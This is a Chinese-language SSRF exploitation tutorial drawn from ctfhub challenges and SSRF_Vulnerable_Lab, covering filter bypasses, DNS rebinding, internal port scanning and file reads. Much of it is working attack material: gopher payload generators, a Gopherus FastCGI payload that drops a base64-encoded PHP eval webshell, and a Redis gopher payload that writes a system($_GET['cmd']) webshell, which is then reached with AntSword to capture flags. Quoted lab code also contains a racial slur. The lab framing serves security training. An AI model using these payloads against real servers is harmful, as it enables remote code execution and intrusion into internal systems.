SSRF的利用方式
本文对ctfhub和SSRF_Vulnerable_Lab中SSRF的利用方式进行了总结。
0x00 技能树
SSRF
常利用的相关协议
http://
:探测内网主机存活、端口开放情况
gopher://
:发送GET或POST请求;攻击内网应用,如FastCGI、Redis
dict://
:泄露安装软件版本信息,查看端口,操作内网redis访问等
file://
:读取本地文件
Bypass
常见限制:
限制为http://www.xxx.com
域名,http://www.xxx.com@127.0.0.1/flag.php
限制请求IP不为内网地址
采用短网址绕过
采用特殊域名.xip.io
采用进制转换:如,十进制形式?url=http://2130706433/flag.php
、十六进制形式?url=http://0x7F000001/flag.php
限制请求IP只为http协议
采用302跳转
采用短地址
常见绕过方法:
利用302跳转
进制转换
利用DNS解析
利用@绕过
利用[::]
添加端口号
利用短网址
其他各种指向127.0.0.1的地址
漏洞产生
相关PHP函数
curl()
fsockopen()
file_get_contents()
fopen()
readfile()
curl_exec()
相关PHP内置类
SoapClient
攻击内网应用
redis
fastcgi
mysql
postgresql
zabbix
pymemcache
smtp
0x01 推荐文献
靶场:
SSRF_Vulnerable_Lab作者详细的写了每一关的writeup。
工具:
rebinder用于DNS重绑定
bitly生成短链接
0x02 SSRF漏洞的介绍、成因、场景
介绍
ssrf(Server-Side Request Forgery:服务器端请求伪造): 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)
成因
都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。
也就是说,对于为服务器提供服务的其他应用没有对访问进行限制,如果我构造好我的访问包,那我就有可能利用目标服务对他的其他服务器应用进行调用。
SSRF 漏洞出现的场景
1.能够对外发起网络请求的地方,就可能存在 SSRF 漏洞
2.从远程服务器请求资源(Upload from URL,Import & Export RSS Feed)
3.数据库内置功能(Oracle、MongoDB、MSSQL、Postgres、CouchDB)
4.Webmail 收取其他邮箱邮件(POP3、IMAP、SMTP)
5.文件处理、编码处理、属性信息处理(ffmpeg、ImageMagic、DOCX、PDF、XML)
0x03 SSRF的利用
一、内网访问
使用http协议对内网的Web应用进行访问
?url=http://127.0.0.1/flag.php
二、伪协议读取文件
PHP支持的伪协议
file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流
php.ini参数设置
allow_url_fopen
:默认值On,允许url里的封装协议访问文件。
allow_url_include
:默认值Off,不允许url里的封装协议包含文件。
各协议的利用条件和方法
举例:
?url=file:///var/www/html/flag.php
三、端口扫描
在SSRF中,dict协议与http协议可以用来探测内网主机存活与端口开放情况。
?url=dict://127.0.0.1:8000
用burp,在intruder中,将端口设置为变量。使用Simple List扫描常用端口,或者使用NumerList进行枚举。当发现长度不同的数据包时,再用http
协议进一步探测。
?url=http://127.0.0.1:8111
前置知识:Gopher协议的利用
什么是gopher协议
gopher
协议是一种信息查找系统,他将Internet
上的文件组织成某种索引,方便用户从Internet
的一处带到另一处。在WWW
出现之前,Gopher
是Internet
上最主要的信息检索工具,Gopher站点也是最主要的站点,使用tcp70
端口。利用此协议可以攻击内网的 Redis、Mysql、FastCGI、Ftp等等,也可以发送 GET、POST 请求。这拓宽了 SSRF 的攻击面。
gopher
协议的格式:gopher://IP:port/_TCP/IP数据流
gopher协议发送http get请求
构造
HTTP
数据包
URL
编码、替换回车换行为%0d%0a
,HTTP
包最后加%0d%0a
代表消息结束发送
gopher
协议, 协议后的IP
一定要接端口
发送http post请求
POST
与GET
传参的区别:它有4
个参数为必要参数需要传递
Content-Type
,Content-Length
,host
,post
的参数
四、发送POST请求
使用file协议读取源码:?url=file:///var/www/html/index.php
使用如下python脚本生成标准格式的gopher协议
urllib.parse
用于解析URL
urllib.parse.quote()
对URL中的特殊字符进行编码
replace()
替换字符串
import urllib.parse
payload = \
"""POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
key=a68a3b03e80ce7fef96007dfa01dc077
"""
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)
print(result)
注意:上面那四个参数是POST请求必须的,即POST、Host、Content-Type和Content-Length。如果少了会报错的,而GET则不用。
注意Content-Length应为POST数据内容的长度,这里为36。
因为urllib.parse.quote()
会将换行编码为%0A
,而在gopher协议中,进行URL编码,会将回车换行编码为%0d%0a
,所以,第二步使用replace()
将%0A
替换为%0D%0A
。接下来,拼接上gopher协议的标准格式,最后再使用一次urllib.parse.quote()
对新增的部分进行URL编码。因为新增的部分不是POST数据包的内容,所以也就不存在回车换行,也就不需要将%0A
替换为%0D%0A
。
标准gopher协议的格式如下:
gopher%3A//127.0.0.1%3A80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252036%250D%250A%250D%250Akey%253Da68a3b03e80ce7fef96007dfa01dc077%250D%250A
五、提交文件
首先抓取一个正常提交文件的数据包,然后使用上述脚本将其转换为gopher协议的格式。
import urllib.parse
payload = \
"""POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 293
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://challenge-a09b30b9de9fb026.sandbox.ctfhub.com:10080
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryz0BDuCoolR1Vg7or
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://challenge-a09b30b9de9fb026.sandbox.ctfhub.com:10080/?url=http://127.0.0.1/flag.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
------WebKitFormBoundaryz0BDuCoolR1Vg7or
Content-Disposition: form-data; name="file"; filename="test.txt"
Content-Type: text/plain
hello world!
------WebKitFormBoundaryz0BDuCoolR1Vg7or
Content-Disposition: form-data; name="submit"
submit
------WebKitFormBoundaryz0BDuCoolR1Vg7or--
"""
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)
print(result)
六、攻击FastCGI协议
Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写
php-fpm
攻击实现原理
当设置php环境变量为:auto_prepend_file = php://input;allow_url_include = On
,就会在执行php脚本之前包含auto_prepend_file
文件的内容,php://input
也就是POST的内容,这样我们可以在FastCGI协议的body控制为恶意代码,这样就在理论上实现了php-fpm
任意代码执行的攻击。
Gopherus工具介绍
在有SSRF漏洞的站点上生成Gopher有效负载以利用SSRF并获得RCE。支持MySQL,FastCGI,Memcached,Redis,Zabbix,SMTP服务器。
FastCGI
如果端口9000是开放的,则SSRF漏洞可能存在并且可能导致RCE。为了利用它,您需要提供一个目标主机上必须存在的文件名(首选.php
)。
?url=file:///var/www/html/index.php
?php
error_reporting(0);
if (!isset($_REQUEST['url'])) {
header("Location: /?url=_");
exit;
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);
目标服务器上存在/var/www/html/index.php
。
准备一句话木马:<?php @eval($_POST['x']);?>
,保存在文件tmp.php
中
将其进行base64编码
base64 tmp.php
PD9waHAgQGV2YWwoJF9QT1NUWyd4J10pOz8+Cg==
构造要执行的终端命令:对一句话木马进行解码,并写入到名为shell.php
的文件中。
echo "PD9waHAgQGV2YWwoJF9QT1NUWyd4J10pOz8+Cg==" | base64 -d > shell.php
使用Gopherus工具生成payload
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH123%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%7B%04%00%3C%3Fphp%20system%28%27echo%20%22PD9waHAgQGV2YWwoJF9QT1NUWyd4J10pOz8%2BCg%3D%3D%22%20%7C%20base64%20-d%20%3E%20shell.php%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00
对生成的payload再进行一次URL编码。因为GET会进行一次解码,curl也会进行一次解码。
得到
%67%6f%70%68%65%72%3a%2f%2f%31%32%37%2e%30%2e%30%2e%31%3a%39%30%30%30%2f%5f%25%30%31%25%30%31%25%30%30%25%30%31%25%30%30%25%30%38%25%30%30%25%30%30%25%30%30%25%30%31%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%31%25%30%34%25%30%30%25%30%31%25%30%31%25%30%35%25%30%35%25%30%30%25%30%46%25%31%30%53%45%52%56%45%52%5f%53%4f%46%54%57%41%52%45%67%6f%25%32%30%2f%25%32%30%66%63%67%69%63%6c%69%65%6e%74%25%32%30%25%30%42%25%30%39%52%45%4d%4f%54%45%5f%41%44%44%52%31%32%37%2e%30%2e%30%2e%31%25%30%46%25%30%38%53%45%52%56%45%52%5f%50%52%4f%54%4f%43%4f%4c%48%54%54%50%2f%31%2e%31%25%30%45%25%30%33%43%4f%4e%54%45%4e%54%5f%4c%45%4e%47%54%48%31%32%33%25%30%45%25%30%34%52%45%51%55%45%53%54%5f%4d%45%54%48%4f%44%50%4f%53%54%25%30%39%4b%50%48%50%5f%56%41%4c%55%45%61%6c%6c%6f%77%5f%75%72%6c%5f%69%6e%63%6c%75%64%65%25%32%30%25%33%44%25%32%30%4f%6e%25%30%41%64%69%73%61%62%6c%65%5f%66%75%6e%63%74%69%6f%6e%73%25%32%30%25%33%44%25%32%30%25%30%41%61%75%74%6f%5f%70%72%65%70%65%6e%64%5f%66%69%6c%65%25%32%30%25%33%44%25%32%30%70%68%70%25%33%41%2f%2f%69%6e%70%75%74%25%30%46%25%31%37%53%43%52%49%50%54%5f%46%49%4c%45%4e%41%4d%45%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%69%6e%64%65%78%2e%70%68%70%25%30%44%25%30%31%44%4f%43%55%4d%45%4e%54%5f%52%4f%4f%54%2f%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%31%25%30%34%25%30%30%25%30%31%25%30%30%25%30%30%25%30%30%25%30%30%25%30%31%25%30%35%25%30%30%25%30%31%25%30%30%25%37%42%25%30%34%25%30%30%25%33%43%25%33%46%70%68%70%25%32%30%73%79%73%74%65%6d%25%32%38%25%32%37%65%63%68%6f%25%32%30%25%32%32%50%44%39%77%61%48%41%67%51%47%56%32%59%57%77%6f%4a%46%39%51%54%31%4e%55%57%79%64%34%4a%31%30%70%4f%7a%38%25%32%42%43%67%25%33%44%25%33%44%25%32%32%25%32%30%25%37%43%25%32%30%62%61%73%65%36%34%25%32%30%2d%64%25%32%30%25%33%45%25%32%30%73%68%65%6c%6c%2e%70%68%70%25%32%37%25%32%39%25%33%42%64%69%65%25%32%38%25%32%37%2d%2d%2d%2d%2d%4d%61%64%65%2d%62%79%2d%53%70%79%44%33%72%2d%2d%2d%2d%2d%25%30%41%25%32%37%25%32%39%25%33%42%25%33%46%25%33%45%25%30%30%25%30%30%25%30%30%25%30%30
将URL编码后的paylod拼接在?url
参数后。
shell.php
已经被写入到服务器的/var/www/html
目录下,用蚁剑连接
在Terminal下执行命令find / -name "*flag*"
,找到/flag_0daee5320f2b134246024e4090b95def
在根目录下访问该文件,得到flag
ctfhub{f3f0c03219e89f22997ba3c5}
七、攻击Redis协议
主要利用redis未授权访问,如:写ssh-keygen公钥登录,利用计划任务反弹shell,直接写webshell等,主从复制getshell。
使用?url=dict://127.0.0.1:6379
进行端口扫描,发现在6379端口上运行着redis服务。
gopherus --exploit redis
,生成PHPShell,文件名为shell.php,密码为cmd。
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2434%0D%0A%0A%0A%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
对生成的payload再进行一次URL编码。因为GET会进行一次解码,curl也会进行一次解码。
gopher%3a//127.0.0.1%3a6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252434%250D%250A%250A%250A%253C%253Fphp%2520system%2528%2524_GET%255B%2527cmd%2527%255D%2529%253B%2520%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A/var/www/html%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A
将再次编码后的payload拼接到?url
参数之后。
然后访问shell.php
,用蚁剑连接。
八、URL Bypass
利用解析URL所出现的问题
在某些情况下,后端程序可能会对访问的URL进行解析,对解析出来的host地址进行过滤。这时候可能会出现对URL参数解析不当,导致可以绕过过滤。
http://www.baidu.com@192.168.0.1
当后端程序通过不正确的正则表达式(比如将http之后到com为止的字符内容,也就是www.baidu.com
认为是访问请求的host地址时)对上述URL的内容进行解析的时候,很可能会认为访问URL的host为www.baidu.com
,而实际上这个URL所请求的内容为192.168.0.1
上的内容。
求的URL中必须包含http://notfound.ctfhub.com,来尝试利用URL的一些特殊地方绕过这个限制吧
?url=http://notfound.ctfhub.com@127.0.0.1/flag.php
九、数字IP Bypass
内网保留地址:
A类:10.0.0.0~10.255.255.255
B类:172.16.0.0~172.31.255.255
C类:192.168.0.0~192.168.255.255
一些后端对传过来的URL参数进行正则匹配来过滤掉内网IP,如采用如下正则表达式:
^10(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){3}$
^172\.([1][6-9]|[2]\d|3[01])(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){2}$
^192\.168(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){2}$
对于这种过滤,可以改变IP的形式来绕过,例如,192.168.0.1
这个IP可以改写为:
十六进制整数格式 = 0xC0A80001
十进制整数格式 = 3232235521
还有一种特殊的省略模式,例如10.0.0.1
可以写成10.1
这次ban掉了127以及172.不能使用点分十进制的IP了。但是又要访问127.0.0.1。该怎么办呢
根据提示hacker! Ban '/127|172|@|\./'
,过滤掉了127、172、@
和.
,可以使用十六进制和十进制形式
IP地址:127.0.0.1
十六进制 = 0x7F000001
十进制 = 2130706433
?url=http://0x7F000001/flag.php
?url=http://2130706433/flag.php
十、302跳转 Bypass
如果后端服务器在接收到参数后,正确的解析了URL的host,并且进行了过滤,我们这个时候可以使用302跳转的方式来进行绕过。
访问
http://xip.io
的子域名,例如http://192.168.0.1.xip.io
,会自动重定向到http://192.168.0.1
上述方法包含了
192.168.0.1
内网IP地址,可能会被正则表达式过滤掉。可以通过短地址方式来绕过。TINYURL
SSRF中有个很重要的一点是请求可能会跟随302跳转,尝试利用这个来绕过对IP的检测访问到位于127.0.0.1的flag.php吧
尝试?url=http://127.0.0.1/flag.php
,得到hacker! Ban Intranet IP
。
尝试?url=http://127.0.0.1.xip.io/flag.php
,得到hacker! Ban Intranet IP
。
说明127.0.0.1被过滤了。可以将127.0.0.1用0
或localhost
等代替
?url=http://0.xip.io/flag.php
?url=http://localhost.xip.io/flag.php
或者是使用TINYURL,在Your Long URL处输入http://127.0.0.1/flag.php
,生成短网址https://tinyurl.com/vdt6acjr
?url=https://tinyurl.com/vdt6acjr
服务器去请求短链接,会自动302跳转到http://127.0.0.1/flag.php
上。
十一、DNS重绑定 Bypass
测试环境:SSRF_Vulnerable_Lab
DNS Rebinding
在网页浏览过程中,用户在地址栏中输入包含域名的网址。浏览器通过DNS服务器将域名解析为IP地址,然后向对应的IP地址请求资源,最后展现给用户。而对于域名所有者,他可以设置域名所对应的IP地址。当用户第一次访问,解析域名获取一个IP地址;然后,域名持有者修改对应的IP地址;用户再次请求该域名,就会获取一个新的IP地址。对于浏览器来说,整个过程访问的都是同一域名,所以认为是安全的。这就造成了DNS Rebinding攻击。
实现攻击的两种方法:
攻击者将子域绑定到两个不同的IP。
攻击者设置一个DNS服务器,TTL很短。该DNS服务器返回的指定域名的解析结果,在两个IP之间不断切换。
场景
Web应用程序会从用户提供的URL中读取远程文件的内容。用户提供的域名中不能包含内网地址,并且该域名解析后,也不能是内网地址。通过黑名单检测后,就可以从URL中加载远程文件内容。
DNS记录的生存时间(TTL)
DNS服务器如果将TTL设置为0,Web服务器就不会对指定域名解析的IP进行缓存。
此特性将有助于绕过代码中的安全检查。应用程序具有两个不同的代码部分:
第一部分代码用于检查域/该域解析的IP是否在黑名单中。如果在黑名单中,则应用程序将停止进一步处理。
一旦IP/域通过了安全检查,第二部分代码会从指定URL中获取内容。
这样,Web服务器对域名进行黑名单检查时,会向DNS服务发起第一次请求,DNS服务器返回一个合法的IP地址,绕过了黑名单检测。因为DNS服务器的TTL设置为0,Web服务器使用get_contents()
加载指定URL的文件内容时,会再次向DNS服务器请求解析该域名,而这次DNS服务器会返回一个内网地址,从而成功的读取内网文件。
攻击场景概述
攻击者在DNS服务器中,指定了一个域名,它绑定了两个IP,一个是127.0.0.1
,另一个是正常的公网IP118.123.100.70
。
攻击者提交该域名给Web应用程序,并且多次重复相同的HTTP请求。
应用程序处理攻击者提交的URL,向攻击者控制的DNS服务器进行查询。DNS服务器可能会返回合法的公网IP118.123.100.70
。
黑名单检测被绕过,应用程序将从指定的URL中获取内容。
因为TTL设置为0,所以数据获取功能将向攻击者控制的DNS服务器请求再次解析该域名,这次获得的IP是127.0.0.1
。但是,安全检查已经被绕过了,应用程序并不会停止处理,而是从127.0.0.1
上获取指定文件内容。
function get_contents($url) {
$disallowed_cidrs = [ "127.0.0.1/24", "169.254.0.0/16", "0.0.0.0/8" ];
$url_parts = parse_url($url);
if (!array_key_exists("host", $url_parts)) { die("There was no host in your url!"); }
echo 'Domain: - '.$host = $url_parts["host"].'';
if (filter_var($host, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4)) {
$ip = $host;
} else {
$ip = dns_get_record($host, DNS_A);
if (count($ip) > 0) {
$ip = $ip[0]["ip"];
echo "Resolved to IP: - {$ip}";
} else {
die("Your host couldn't be resolved man...");
}
}
foreach ($disallowed_cidrs as $cidr) {
if (in_cidr($cidr, $ip)) {
die("That IP is a blacklisted cidr ({$cidr})!"); // Stop processing if domain reolved to private/reserved IP
}
}
echo "Domain IP is not private, Here goes the data fetched from remote URL";
echo file_get_contents($url);
}
function in_cidr($cidr, $ip) {
list($prefix, $mask) = explode("/", $cidr);
return 0 === (((ip2long($ip) ^ ip2long($prefix)) >> $mask) << $mask);
}
echo ' <form method=post action="'.$_SERVER['SCRIPT_NAME'].'">
<input type=submit name=home value="Home" class="side-pan">
<input type=submit name=load value="Load Remote File" class="side-pan">';
if(isset($_POST['read']))
{
$file=strtolower($_POST['file']);
if(strstr($file, 'localhost') == false && preg_match('/(^https*:\/\/[^:\/]+)/', $file)==true)
{
get_contents($file);
}
elseif(strstr(strtolower($file), 'localhost') == true && preg_match('/(^https*:\/\/[^:\/]+)/', $file)==true)
{
echo 'Dear Nigga, Trying to access Localhost o_0 ?';
}
}
在此示例中,应用程序具有获取和显示远程文件的内容和功能。文件box.txt存放在内部URLhttp://127.0.0.1/box.txt
上。
代码允许用户从IP或域名中获取远程文件的内容。
应用程序检查指定的域名或解析后的IP是否在黑名单中,如果未列入黑名单,则应用程序将使用file_get_contents
加载远程URL的内容。
应用程序不允许用户从内部/保留IP范围内获取内网文件。当用户尝试访问内网IP上保存的文件,将会被代码检测到,请求不会被处理。
http://127.0.0.1/box.txt
Domain: - 127.0.0.1
That IP is a blacklisted cidr (127.0.0.1/24)!
应用不仅检查用户提供的域名,也检查域名指向的IP。在这种情况下,如果一个域名指向的IP为127.0.0.1。应用程序会将用户指定的域名解析为IP,并且由于解析后的IP在黑名单中,因此将终止对用户请求的处理。
可以使用这个测试DNS重绑定漏洞的在线工具。在这个页面中输入两个你想切换的IP地址。在很短的ttl内,这个生成的主机名会随机解析成两个IP中的一个。
http://7f000001.767b6446.rbndr.us/box.txt
第一次域名7f000001.767b6446.rbndr.us
被解析为118.123.100.70
,绕过黑名单加测。第二次该域名被解析为127.0.0.1
,成功读取本地文件。
十二、应用程序提供接口来接远程主机
测试环境:SSRF_Vulnerable_Lab
Application provide interface to connect to Remote Host
在这个场景下,应用程序允许用户指定远程主机的IP和端口,尝试连接到运行在这之上的MySQL服务。可以利用这段代码来进行内部网络扫描,探测内网中存活的IP和这些IP上开放的端口。
这段代码具有连接到MySQL服务器的功能,但是如果用户指定的端口是SMB端口。该应用程序就会尝试使用MySQL服务器的数据包与SMB服务进行通信。如果SMB服务运行在默认端口上,由于通信方式的不同,服务将无法通信。
sql_connect.php
核心代码
set_time_limit(0);
error_reporting(0);
if(isset($_POST['sbmt']))
{
$host=trim($_POST['host']);
$uname=trim($_POST['uname']);
$pass=trim($_POST['pass']);
$r=mysqli_connect($host,$uname,$pass);
if (mysqli_connect_errno())
{
echo mysqli_connect_error();
}
}
mysqli_connect_errno()
:返回上次连接调用时的错误代码。
而mysqli_connect_error()
:是用户自定义函数,将错误代码转换为对应的提示语句。
这个自定义函数会返回三种不同的提示信息,分别是:
1.如果远程IP或者是端口未开放,则脚本显示错误信息:“No connection could be made because the target machine actively refused it”。
2.如果远程IP指定端口开放,但是指定服务没有在此端口监听,则脚本显示错误信息:"MySQL has gone away"。
3.如果远程IP不存在,脚本抛出错误信息:“A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond”。
这是点击提交按钮后抓取到的数据包:
POST /SSRF/sql_connect.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 79
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/SSRF/sql_connect.php
Cookie: PHPSESSID=vq3t1tdrhkqtjihtof17q9qme6
Upgrade-Insecure-Requests: 1
host=127.0.0.1&uname=root&pass=root&sbmt=Chal+Billu%2C+Ghuma+de+soda+%3E%3AD%3C
场景一:IP存活且端口开放
如果你指定的IP地址存活、指定的端口上运行着MySQL服务,并且输入了正确的用户名和密码。那么页面不会返回任何的提示信息。因为这次连接没有发生错误,mysqli_connect_errno()
返回0。根本就不会进入到输出错误信息的分支。
if (mysqli_connect_errno())
{
echo mysqli_connect_error();
}
如果你指定的IP地址存活、指定的端口开启,但上面没有运行MySQL服务,而是运行的其他服务。则脚本显示错误信息:"MySQL has gone away"。
场景二、IP存活但是端口关闭
在这个场景下,远程IP存活,但是指定端口关闭。脚本会打印信息:“Connection refused”。
基于上述两个场景,就可以判断指定IP开放了哪些端口
场景三:IP不存在
在这个场景下,远程IP不存在。应用程序尝试与不存在的IP建立连接,这会花比场景二更长的时间,最终发生连接超时。应用程序脚本打印"Third party not responding" 表示指定IP不存在。
首先使用fping
探测内网中存活的主机
fping -a -g 192.168.245.1 192.168.245.254
192.168.245.2
192.168.245.134
192.168.245.135
192.168.245.146
192.168.245.152
192.168.245.237
应用程序响应"由于连接方在一段时间后没有正确答复或连接的主机没有反应,连接尝试失败。",表明192.168.245.200这个IP不存在。
十四、应用程序代码获取并显示指定内容
测试环境:SSRF_Vulnerable_Lab
Application code fetch and disply the content of the specified file (file_get_contents.php)
This Lab is just to demonstrate how SSRF can be exploited to perform reading files/remote URLs
在编程语言中,有一些函数可以获取本地保存的文件内容(例如PHP中的file_get_contents
)。这些功能可能能够从远程URL以及本地文件中获取内容。
如果应用程序未在用户提供的数据之前添加任何的字符串就从文件中获取内容,即应用程序未在用户提供的数据前添加目录名或路径,则该功能可能被滥用。
在这种情况下, 这些数据获取功能可以处理http://
或file://
之类的协议。当用户指定远程URL代替文件名(例如http://localhost
)时,数据获取功能将从指定的URL中提取数据。
如果应用程序在用户数据前添加目录名或路径,并且过滤掉../
,防止用相对路径进行目录遍历。则http://
或file://
协议将不起作用,并且无法利用SSRF漏洞。
在此示例中,应用程序具有获取和显示文件内容的功能。
当用户尝试读取保存在服务器上的文件的内容时,有漏洞的代码只检查文件是否在服务器上存在,如果文件在服务器上,就显示内容。
用户选择要加载的文件local.txt
,并点击Load File之后,抓取到如下数据包
POST /ssrf/file_get_content.php HTTP/1.1
Host: 192.168.245.134
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
Origin: http://192.168.245.134
Connection: close
Referer: http://192.168.245.134/ssrf/file_get_content.php
Upgrade-Insecure-Requests: 1
file=local.txt&read=load+file
file_get_content.php
的核心代码。读取指定文件内容,并在前端页面显示。
if(isset($_POST['read']))
{
$file=trim($_POST['file']);
echo htmlentities(file_get_contents($file));
}
trim() 函数移除字符串两侧的空白字符或其他预定义字符。htmlentities()把字符转换为html实体。
有漏洞的代码允许用户使用file://
协议。比如,在Linux服务器上,用户可以读取/etc/passwd
;在Windows服务器上,用户可以读取c:/windows/system32/drivers/etc/hosts
。
file:///c:/windows/system32/drivers/etc/hosts
file:///etc/passwd
访问内网服务URL
攻击者不仅可以利用有漏洞的代码来读取本地文件,而且可以访问内网环境(localhost
或者其他内网主机)上的Web应用程序。
用户指定URLhttp://localhost/box.txt
,该URL指向本地服务器上保存的文件box.txt。
修复方案
在用户数据前添加目录名或绝对路径,并且,过滤掉../
,防止利用相对路径进行目录遍历。这种情况下,http://
或file://
协议将不起作用。